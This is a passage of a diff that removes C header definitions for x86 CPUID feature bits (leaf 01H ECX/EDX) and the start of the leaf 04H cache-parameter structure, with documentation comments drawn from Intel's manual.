@brief MOVBE instruction - * - * [Bit 22] A value of 1 indicates that the processor supports MOVBE instruction. - */ - uint32_t movbe_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_BIT 22 -#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_FLAG 0x400000 -#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION(_) (((_) >> 22) & 0x01) - - /** - * @brief POPCNT instruction - * - * [Bit 23] A value of 1 indicates that the processor supports the POPCNT instruction. - */ - uint32_t popcnt_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_BIT 23 -#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_FLAG 0x800000 -#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION(_) (((_) >> 23) & 0x01) - - /** - * @brief TSC Deadline - * - * [Bit 24] A value of 1 indicates that the processor's local APIC timer supports one-shot operation using a TSC deadline - * value. - */ - uint32_t tsc_deadline : 1; -#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_BIT 24 -#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_FLAG 0x1000000 -#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE(_) (((_) >> 24) & 0x01) - - /** - * @brief AESNI instruction extensions - * - * [Bit 25] A value of 1 indicates that the processor supports the AESNI instruction extensions. - */ - uint32_t aesni_instruction_extensions : 1; -#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_BIT 25 -#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_FLAG 0x2000000 -#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS(_) (((_) >> 25) & 0x01) - - /** - * @brief XSAVE/XRSTOR instruction extensions - * - * [Bit 26] A value of 1 indicates that the processor supports the XSAVE/XRSTOR processor extended states feature, the - * XSETBV/XGETBV instructions, and XCR0. - */ - uint32_t xsave_xrstor_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_BIT 26 -#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_FLAG 0x4000000 -#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION(_) (((_) >> 26) & 0x01) - - /** - * @brief CR4.OSXSAVE[bit 18] set - * - * [Bit 27] A value of 1 indicates that the OS has set CR4.OSXSAVE[bit 18] to enable XSETBV/XGETBV instructions to access - * XCR0 and to support processor extended state management using XSAVE/XRSTOR. - */ - uint32_t osx_save : 1; -#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_BIT 27 -#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_FLAG 0x8000000 -#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE(_) (((_) >> 27) & 0x01) - - /** - * @brief AVX instruction extensions support - * - * [Bit 28] A value of 1 indicates the processor supports the AVX instruction extensions. - */ - uint32_t avx_support : 1; -#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_BIT 28 -#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_FLAG 0x10000000 -#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT(_) (((_) >> 28) & 0x01) - - /** - * @brief 16-bit floating-point conversion instructions support - * - * [Bit 29] A value of 1 indicates that processor supports 16-bit floating-point conversion instructions. - */ - uint32_t half_precision_conversion_instructions : 1; -#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_BIT 29 -#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_FLAG 0x20000000 -#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS(_) (((_) >> 29) & 0x01) - - /** - * @brief RDRAND instruction support - * - * [Bit 30] A value of 1 indicates that processor supports RDRAND instruction. - */ - uint32_t rdrand_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_BIT 30 -#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_FLAG 0x40000000 -#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION(_) (((_) >> 30) & 0x01) - uint32_t reserved2 : 1; - }; - - uint32_t flags; - } cpuid_feature_information_ecx; - - /** - * @brief When CPUID executes with EAX set to 01H, feature information is returned in ECX and EDX - */ - union - { - struct - { - /** - * @brief Floating Point Unit On-Chip - * - * [Bit 0] The processor contains an x87 FPU. - */ - uint32_t floating_point_unit_on_chip : 1; -#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_BIT 0 -#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_FLAG 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP(_) (((_) >> 0) & 0x01) - - /** - * @brief Virtual 8086 Mode Enhancements - * - * [Bit 1] Virtual 8086 mode enhancements, including CR4.VME for controlling the feature, CR4.PVI for protected mode - * virtual interrupts, software interrupt indirection, expansion of the TSS with the software indirection bitmap, and - * EFLAGS.VIF and EFLAGS.VIP flags. - */ - uint32_t virtual_8086_mode_enhancements : 1; -#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_BIT 1 -#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_FLAG 0x02 -#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS(_) (((_) >> 1) & 0x01) - - /** - * @brief Debugging Extensions - * - * [Bit 2] Support for I/O breakpoints, including CR4.DE for controlling the feature, and optional trapping of accesses to - * DR4 and DR5. - */ - uint32_t debugging_extensions : 1; -#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_BIT 2 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_FLAG 0x04 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS(_) (((_) >> 2) & 0x01) - - /** - * @brief Page Size Extension - * - * [Bit 3] Large pages of size 4 MByte are supported, including CR4.PSE for controlling the feature, the defined dirty bit - * in PDE (Page Directory Entries), optional reserved bit trapping in CR3, PDEs, and PTEs. - */ - uint32_t page_size_extension : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_BIT 3 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_FLAG 0x08 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION(_) (((_) >> 3) & 0x01) - - /** - * @brief Time Stamp Counter - * - * [Bit 4] The RDTSC instruction is supported, including CR4.TSD for controlling privilege. - */ - uint32_t timestamp_counter : 1; -#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_BIT 4 -#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_FLAG 0x10 -#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER(_) (((_) >> 4) & 0x01) - - /** - * @brief Model Specific Registers RDMSR and WRMSR Instructions - * - * [Bit 5] The RDMSR and WRMSR instructions are supported. Some of the MSRs are implementation dependent. - */ - uint32_t rdmsr_wrmsr_instructions : 1; -#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_BIT 5 -#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_FLAG 0x20 -#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS(_) (((_) >> 5) & 0x01) - - /** - * @brief Physical Address Extension - * - * [Bit 6] Physical addresses greater than 32 bits are supported: extended page table entry formats, an extra level in the - * page translation tables is defined, 2-MByte pages are supported instead of 4 Mbyte pages if PAE bit is 1. - */ - uint32_t physical_address_extension : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_BIT 6 -#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_FLAG 0x40 -#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION(_) (((_) >> 6) & 0x01) - - /** - * @brief Machine Check Exception - * - * [Bit 7] Exception 18 is defined for Machine Checks, including CR4.MCE for controlling the feature. This feature does not - * define the model-specific implementations of machine-check error logging, reporting, and processor shutdowns. Machine - * Check exception handlers may have to depend on processor version to do model specific processing of the exception, or - * test for the presence of the Machine Check feature. - */ - uint32_t machine_check_exception : 1; -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_BIT 7 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_FLAG 0x80 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION(_) (((_) >> 7) & 0x01) - - /** - * @brief CMPXCHG8B Instruction - * - * [Bit 8] The compare-and-exchange 8 bytes (64 bits) instruction is supported (implicitly locked and atomic). - */ - uint32_t cmpxchg8b : 1; -#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_BIT 8 -#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_FLAG 0x100 -#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B(_) (((_) >> 8) & 0x01) - - /** - * @brief APIC On-Chip - * - * [Bit 9] The processor contains an Advanced Programmable Interrupt Controller (APIC), responding to memory mapped - * commands in the physical address range FFFE0000H to FFFE0FFFH (by default - some processors permit the APIC to be - * relocated). - */ - uint32_t apic_on_chip : 1; -#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_BIT 9 -#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_FLAG 0x200 -#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP(_) (((_) >> 9) & 0x01) - uint32_t reserved1 : 1; - - /** - * @brief SYSENTER and SYSEXIT Instructions - * - * [Bit 11] The SYSENTER and SYSEXIT and associated MSRs are supported. - */ - uint32_t sysenter_sysexit_instructions : 1; -#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_BIT 11 -#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_FLAG 0x800 -#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS(_) (((_) >> 11) & 0x01) - - /** - * @brief Memory Type Range Registers - * - * [Bit 12] MTRRs are supported. The MTRRcap MSR contains feature bits that describe what memory types are supported, how - * many variable MTRRs are supported, and whether fixed MTRRs are supported. - */ - uint32_t memory_type_range_registers : 1; -#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_BIT 12 -#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_FLAG 0x1000 -#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS(_) (((_) >> 12) & 0x01) - - /** - * @brief Page Global Bit - * - * [Bit 13] The global bit is supported in paging-structure entries that map a page, indicating TLB entries that are common - * to different processes and need not be flushed. The CR4.PGE bit controls this feature. - */ - uint32_t page_global_bit : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_BIT 13 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_FLAG 0x2000 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT(_) (((_) >> 13) & 0x01) - - /** - * @brief Machine Check Architecture - * - * [Bit 14] A value of 1 indicates the Machine Check Architecture of reporting machine errors is supported. The MCG_CAP MSR - * contains feature bits describing how many banks of error reporting MSRs are supported. - */ - uint32_t machine_check_architecture : 1; -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_BIT 14 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_FLAG 0x4000 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE(_) (((_) >> 14) & 0x01) - - /** - * @brief Conditional Move Instructions - * - * [Bit 15] The conditional move instruction CMOV is supported. In addition, if x87 FPU is present as indicated by the - * CPUID.FPU feature bit, then the FCOMI and FCMOV instructions are supported - */ - uint32_t conditional_move_instructions : 1; -#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_BIT 15 -#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_FLAG 0x8000 -#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS(_) (((_) >> 15) & 0x01) - - /** - * @brief Page Attribute Table - * - * [Bit 16] Page Attribute Table is supported. This feature augments the Memory Type Range Registers (MTRRs), allowing an - * operating system to specify attributes of memory accessed through a linear address on a 4KB granularity. - */ - uint32_t page_attribute_table : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_BIT 16 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_FLAG 0x10000 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE(_) (((_) >> 16) & 0x01) - - /** - * @brief 36-Bit Page Size Extension - * - * [Bit 17] 4-MByte pages addressing physical memory beyond 4 GBytes are supported with 32-bit paging. This feature - * indicates that upper bits of the physical address of a 4-MByte page are encoded in bits 20:13 of the page-directory - * entry. Such physical addresses are limited by MAXPHYADDR and may be up to 40 bits in size. - */ - uint32_t page_size_extension_36bit : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_BIT 17 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_FLAG 0x20000 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT(_) (((_) >> 17) & 0x01) - - /** - * @brief Processor Serial Number - * - * [Bit 18] The processor supports the 96-bit processor identification number feature and the feature is enabled. - */ - uint32_t processor_serial_number : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_BIT 18 -#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_FLAG 0x40000 -#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER(_) (((_) >> 18) & 0x01) - - /** - * @brief CLFLUSH Instruction - * - * [Bit 19] CLFLUSH Instruction is supported. - */ - uint32_t clflush : 1; -#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_BIT 19 -#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_FLAG 0x80000 -#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH(_) (((_) >> 19) & 0x01) - uint32_t reserved2 : 1; - - /** - * @brief Debug Store - * - * [Bit 21] The processor supports the ability to write debug information into a memory resident buffer. This feature is - * used by the branch trace store (BTS) and processor event-based sampling (PEBS) facilities. - * - * @see Vol3C[23(INTRODUCTION TO VIRTUAL MACHINE EXTENSIONS)] - */ - uint32_t debug_store : 1; -#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_BIT 21 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_FLAG 0x200000 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE(_) (((_) >> 21) & 0x01) - - /** - * @brief Thermal Monitor and Software Controlled Clock Facilities - * - * [Bit 22] The processor implements internal MSRs that allow processor temperature to be monitored and processor - * performance to be modulated in predefined duty cycles under software control. - */ - uint32_t thermal_control_msrs_for_acpi : 1; -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_BIT 22 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_FLAG 0x400000 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI(_) (((_) >> 22) & 0x01) - - /** - * @brief Intel MMX Technology - * - * [Bit 23] The processor supports the Intel MMX technology. - */ - uint32_t mmx_support : 1; -#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_BIT 23 -#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_FLAG 0x800000 -#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT(_) (((_) >> 23) & 0x01) - - /** - * @brief FXSAVE and FXRSTOR Instructions - * - * [Bit 24] The FXSAVE and FXRSTOR instructions are supported for fast save and restore of the floating point context. - * Presence of this bit also indicates that CR4.OSFXSR is available for an operating system to indicate that it supports - * the FXSAVE and FXRSTOR instructions. - */ - uint32_t fxsave_fxrstor_instructions : 1; -#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_BIT 24 -#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_FLAG 0x1000000 -#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS(_) (((_) >> 24) & 0x01) - - /** - * @brief SSE extensions support - * - * [Bit 25] The processor supports the SSE extensions. - */ - uint32_t sse_support : 1; -#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_BIT 25 -#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_FLAG 0x2000000 -#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT(_) (((_) >> 25) & 0x01) - - /** - * @brief SSE2 extensions support - * - * [Bit 26] The processor supports the SSE2 extensions. - */ - uint32_t sse2_support : 1; -#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_BIT 26 -#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_FLAG 0x4000000 -#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT(_) (((_) >> 26) & 0x01) - - /** - * @brief Self Snoop - * - * [Bit 27] The processor supports the management of conflicting memory types by performing a snoop of its own cache - * structure for transactions issued to the bus. - */ - uint32_t self_snoop : 1; -#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_BIT 27 -#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_FLAG 0x8000000 -#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP(_) (((_) >> 27) & 0x01) - - /** - * @brief Max APIC IDs reserved field is Valid - * - * [Bit 28] A value of 0 for HTT indicates there is only a single logical processor in the package and software should - * assume only a single APIC ID is reserved. A value of 1 for HTT indicates the value in CPUID.1.EBX[23:16] (the Maximum - * number of addressable IDs for logical processors in this package) is valid for the package. - */ - uint32_t hyper_threading_technology : 1; -#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_BIT 28 -#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_FLAG 0x10000000 -#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY(_) (((_) >> 28) & 0x01) - - /** - * @brief Thermal Monitor - * - * [Bit 29] The processor implements the thermal monitor automatic thermal control circuitry (TCC). - */ - uint32_t thermal_monitor : 1; -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_BIT 29 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_FLAG 0x20000000 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR(_) (((_) >> 29) & 0x01) - uint32_t reserved3 : 1; - - /** - * @brief Pending Break Enable - * - * [Bit 31] The processor supports the use of the FERR\#/PBE\# pin when the processor is in the stop-clock state (STPCLK\# - * is asserted) to signal the processor that an interrupt is pending and that the processor should return to normal - * operation to handle the interrupt. Bit 10 (PBE enable) in the IA32_MISC_ENABLE MSR enables this capability. - */ - uint32_t pending_break_enable : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_BIT 31 -#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_FLAG 0x80000000 -#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; - } cpuid_feature_information_edx; - -} cpuid_eax_01; - - -/** - * @brief Deterministic Cache Parameters Leaf - * - * When CPUID executes with EAX set to 04H and ECX contains an index value, the processor returns encoded data that - * describe a set of deterministic cache parameters (for the cache level associated with the input in ECX). Valid index - * values start from 0. - * Software can enumerate the deterministic cache parameters for each level of the cache hierarchy starting with an index - * value of 0, until the parameters report the value associated with the cache type field is 0. The architecturally defined - * fields reported by deterministic cache parameters are documented in Table 3-8. - * This Cache Size in Bytes - * - = (Ways + 1) * (Partitions + 1) * (Line_Size + 1) * (Sets + 1) - * - = (EBX[31:22] + 1) * (EBX[21:12] + 1) * (EBX[11:0] + 1) * (ECX + 1) - * The CPUID leaf 04H also reports data that can be used to derive the topology of processor cores in a physical package. - * This information is constant for all valid index values. Software can query the raw data reported by executing CPUID - * with EAX=04H and ECX=0 and use it as part of the topology enumeration algorithm. - * - * @see Vol3A[8(Multiple-Processor Management)] - */ -#define CPUID_CACHE_PARAMETERS 0x00000004 -typedef struct -{ - union - { - struct - { - /** - * [Bits 4:0] - 0 = Null - No more caches. - * - 1 = Data Cache. - * - 2 = Instruction Cache. - * - 3 = Unified Cache. - * - 4-31 = Reserved. - */ - uint32_t cache_type_field : 5; -#define CPUID_EAX_CACHE_TYPE_FIELD_BIT 0 -#define CPUID_EAX_CACHE_TYPE_FIELD_FLAG 0x1F -#define CPUID_EAX_CACHE_TYPE_FIELD_MASK 0x1F -#define CPUID_EAX_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) - - /** - * [Bits 7:5] Cache Level (starts at 1). - */ - uint32_t cache_level : 3; -#define CPUID_EAX_CACHE_LEVEL_BIT 5 -#define CPUID_EAX_CACHE_LEVEL_FLAG 0xE0 -#define CPUID_EAX_CACHE_LEVEL_MASK 0x07 -#define CPUID_EAX_CACHE_LEVEL(_) (((_) >> 5) & 0x07) - - /** - * [Bit 8] Self Initializing cache level (does not need SW initialization). - */ - uint32_t self_initializing_cache_level : 1; -#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_BIT 8 -#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_FLAG 0x100 -#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_MASK 0x01 -#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Fully Associative cache. - */ - uint32_t fully_associative_cache : 1; -#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_BIT 9 -#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_FLAG 0x200 -#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_MASK 0x01 -#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE(_) (((_) >> 9) & 0x01) - uint32_t reserved1 : 4; - - /** - * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this cache. - * - * @note Add one to the return value to get the result. - * The nearest power-of-2 integer that is not smaller than (1 + EAX[25:14]) is the number of unique initial APIC IDs - * reserved for addressing different logical processors sharing this cache. - */ - uint32_t max_addressable_ids_for_logical_processors_sharing_this_cache : 12; -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_BIT 14 -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_FLAG 0x3FFC000 -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_MASK 0xFFF -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE(_) (((_) >> 14) & 0xFFF) - - /** - * [Bits 31:26] Maximum number of addressable IDs for processor cores in the physical package. - * - * @note Add one to the return value to get the result. - * The nearest power-of-2 integer that is not smaller than (1 + EAX[31:26]) is the number of unique Core_IDs reserved for - * addressing different processor cores in a physical package. Core ID is a subset of bits of the initial APIC ID. - * The returned value is constant for valid initial values in ECX. Valid ECX values start from 0. - */ - uint32_t max_addressable_ids_for_processor_cores_in_physical_package : 6; -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_BIT 26 -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_FLAG 0xFC000000 -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_MASK 0x3F -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE(_) (((_) >> 26) & 0x3F) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 11:0] System Coherency Line Size. - * - * @note Add one to the return value to get the result. - */ - uint32_t system_coherency_line_size : 12; -#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_BIT 0 -#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_FLAG 0xFFF -#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_MASK 0xFFF -#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE(_) (((_) >> 0) & 0xFFF) - - /** - * [Bits 21:12] Physical Line partitions. - * - * @note Add one to the return value to get the result. - */ - uint32_t physical_line_partitions : 10; -#define 